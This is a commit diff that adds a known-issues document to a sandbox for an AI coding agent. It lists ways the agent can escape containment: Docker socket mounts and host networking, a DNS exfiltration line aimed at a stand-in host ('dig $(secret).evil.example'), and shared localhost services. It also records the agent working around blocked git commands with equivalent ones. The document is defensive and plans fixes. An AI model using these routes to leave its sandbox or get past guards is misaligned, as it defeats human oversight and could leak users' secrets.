Report read-only paths after a session; known issues document
- run (on exit) and doctor scan the OpenCode log for 'Read-only file system' / EROFS, map the agent's XDG mirror back to the home directory and print a ready OCSB_RW_HOME line; writable, hidden and protected project paths are skipped - docs/known-issues.md: open gaps and planned work (Docker, blocklist egress, DNS, shared network namespace, resource limits, undo, planted repos, credentials, agents working around guards); linked from both READMEs
This commit is contained in:
@@ -0,0 +1,58 @@
|
||||
# Known issues and deferred work
|
||||
|
||||
Gaps that are known and not closed yet, roughly by impact. The design goal is unchanged:
|
||||
contain an agent that makes mistakes, not stop a determined attacker. See also
|
||||
[Security model and limits](../README.md#security-model-and-limits).
|
||||
|
||||
## Security
|
||||
|
||||
- **Docker is a way out — of the filesystem and of the egress filter.** The agent talks to the
|
||||
host's Docker socket: `docker run -v /:/host` sees the whole host, and containers are started
|
||||
by dockerd, not by a process in the netlock group, so `docker run --network host` reaches the
|
||||
internet without squid (the proxy in `DOCKER_CONFIG` is only a default).
|
||||
*Plan:* a filtering proxy in front of the socket — no bind mounts outside the project and
|
||||
worktrees, no `--privileged`, no `--network host`, containers only on a network whose only
|
||||
way out is squid. Alternative: rootless Docker/Podman for the agent.
|
||||
- **Egress is a blocklist.** Everything not blocked is allowed, so data can leave to any site,
|
||||
not only to "allowed" hosts. *Option:* keep reads (GET/HEAD/CONNECT for known hosts) open and
|
||||
allow writes (POST/PUT/PATCH) only to listed hosts; squid can match methods. An `allow-only`
|
||||
mode for strict projects.
|
||||
- **DNS is a side channel.** netlock lets the group reach the resolvers from `resolv.conf`
|
||||
(usually `127.0.0.53`, which resolves anything), so `dig $(secret).evil.example` leaves
|
||||
without the proxy. The agent does not need DNS — HTTP(S) and SSH go through the proxy.
|
||||
*Plan:* drop the DNS rules from netlock (or allow DNS only to a resolver in the egress
|
||||
container that answers for allowed names).
|
||||
- **Shared network namespace.** Services on the host's `127.0.0.1` (dev databases, other dev
|
||||
servers, debug ports) and abstract unix sockets (`@/tmp/.X11-unix/X0`, ICE, some desktop apps)
|
||||
are reachable even with a private `/tmp`. Only `--unshare-net` plus a proxy socket (pasta /
|
||||
slirp4netns) closes this, and then the agent loses direct access to its own stacks' ports.
|
||||
- **No resource limits.** A fork bomb or an unbounded build can freeze the machine.
|
||||
*Plan:* start the sandbox in `systemd-run --user --scope -p MemoryMax=… -p TasksMax=… -p
|
||||
CPUWeight=…` (from the host side, before bwrap), configurable in `sandbox.conf`.
|
||||
- **No undo for uncommitted work.** cc-safety-net blocks the common destructive git commands,
|
||||
but the agent's own file tools overwrite anything in the project. *Option:* periodic
|
||||
snapshots (`git stash create` stored under a private ref, or btrfs snapshots where available).
|
||||
- **Planted repositories are detected, not prevented.** A `.git` the agent creates in a new
|
||||
directory or a new worktree is reported after the session (`run`, `doctor`); a shell prompt
|
||||
running `git status` there before the report still runs its config.
|
||||
- **Credentials given to the agent are not scoped by the sandbox.** Tokens in `OCSB_ENV_FILE`
|
||||
and the kubeconfig in `OCSB_KUBECONFIG` work with their full rights. Use the narrowest token
|
||||
scopes; consider `ask` permissions for destructive CLI calls (`kubectl delete`, …).
|
||||
|
||||
## Agent behaviour
|
||||
|
||||
- **The agent works around blocks with equivalent commands** (e.g. `git show ref:path > path`
|
||||
after `git checkout ref -- path` was blocked). *Plan:* a line in `opencode/AGENTS.md` — when a
|
||||
guard blocks a command, do not reach the same result another way; explain the need to the
|
||||
user. And avoid guards with an obvious equivalent: per-file `checkout`/`restore` rules of
|
||||
cc-safety-net protect nothing while the file tools are allowed — candidates for the template's
|
||||
`overrides` (`git.checkout-ref-path`, `git.checkout-double-dash`, `git.restore-unstaged`).
|
||||
|
||||
## Usability
|
||||
|
||||
- **Read-only paths for new tools.** `run` and `doctor` now report paths from the OpenCode log
|
||||
that hit "Read-only file system", with a ready `OCSB_RW_HOME+=(…)` line. Tools that only print
|
||||
the error to a terminal (bash tool output) are not in that log and are not reported.
|
||||
- **First start of uvx/npx MCP servers can exceed OpenCode's connect timeout** while packages
|
||||
download through the proxy; a second start uses the cache. Projects may raise `timeout` for
|
||||
such servers.
|
||||
Reference in New Issue
Block a user